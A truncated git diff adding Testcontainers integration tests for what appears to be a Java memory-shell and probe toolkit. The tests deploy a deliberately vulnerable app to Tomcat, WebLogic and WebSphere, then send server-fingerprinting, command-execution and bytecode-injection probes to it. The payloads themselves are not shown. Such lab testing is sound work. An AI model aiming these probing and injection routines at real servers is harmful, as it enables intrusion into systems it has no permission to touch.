b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java @@ -0,0 +1,79 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat5ContainerTest { + public static final String imageName = "reajason/tomcat:5-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @AfterAll + public static void stopContainer() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java new file mode 100644 index 00000000..3376ad00 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.probe.payload.response.TomcatWriter; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat6ContainerTest { + public static final String imageName = "reajason/tomcat:6-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java new file mode 100644 index 00000000..28acf05d --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat7ContainerTest { + public static final String imageName = "tomcat:7.0.85-jre7"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.7.0_171|51", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java new file mode 100644 index 00000000..fe4c3ded --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat8ContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.8.0_402|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java new file mode 100644 index 00000000..d0838dbe --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat9ContainerTest { + public static final String imageName = "tomcat:9-jre9"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|9.0.4|53", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V9); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V9); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java new file mode 100644 index 00000000..a7a30783 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.probe.weblogic; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +@Slf4j +public class WebLogic1036ContainerTest { + public static final String imageName = "reajason/weblogic:10.3.6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(7001); + + @Test + void testJDK() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.WEBLOGIC, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWebLogic(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWebLogic(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java new file mode 100644 index 00000000..fe9a443e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.weblogic; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +@Slf4j +public class WebLogic12214ContainerTest { + public static final String imageName = "reajason/weblogic:12.2.1.4"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(7001); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_411|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.WEBLOGIC, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWebLogic(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWebLogic(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java new file mode 100644 index 00000000..1eef957f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.probe.weblogic; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +@Slf4j +public class WebLogic14110ContainerTest { + public static final String imageName = "reajason/weblogic:14.1.1.0"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(7001); + + @Test + void testJDK() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_391|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWebLogic(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.WEBLOGIC, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWebLogic(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWebLogic(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java new file mode 100644 index 00000000..48221870 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java @@ -0,0 +1,83 @@ +package com.reajason.javaweb.integration.probe.websphere; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class WebSphere855ContainerTest { + public static final String imageName = "reajason/websphere:8.5.5.24"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_371|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.WEBSPHERE, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java new file mode 100644 index 00000000..2be9b08b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java @@ -0,0 +1,77 @@ +package com.reajason.javaweb.integration.probe.websphere; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class WebSphere905ContainerTest { + public static final String imageName = "reajason/websphere:9.0.5.17"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + @Test + void testJDK() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_381|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.WEBSPHERE, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromWAS(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java new file mode 100644 index 00000000..be83d860 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.integration.probe.websphere7; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class WebSphere700ContainerTest { + public static final String imageName = "reajason/websphere:7.0.0.21"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + @Test + void testJDK() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromWAS(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.WEBSPHERE, data); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java new file mode 100644 index 00000000..db19b5ab --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.wildfly; + +import com.reajason.javaweb.Constants; +import 